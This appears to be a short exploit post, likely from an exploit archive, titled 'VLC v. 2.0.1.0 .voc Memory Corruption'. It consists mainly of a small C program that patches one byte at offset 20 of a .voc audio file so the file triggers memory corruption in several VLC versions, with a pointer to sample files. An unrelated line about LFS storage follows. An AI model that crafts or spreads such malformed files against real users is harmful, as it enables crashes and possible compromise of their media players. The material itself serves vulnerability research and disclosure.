VLC v. 2.0.1.0 .voc Memory Corruption

Exploit Title: VLC v. 2.0.1.0 .voc Memory Corruption

Tested on stable 2.0, 1.1.11, 2.0.1.0 (newest release as of 3/15/2012)

#include <stdio.h>

int main(int argc, char *argv[]) { FILE *f; f = fopen(argv[1], "r+");

fseek(f, 20, SEEK_SET);
fputc('\xff', f);

fclose(f);
return 0;

}

//code updates .voc file, can find samples on videolan ftp server

To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information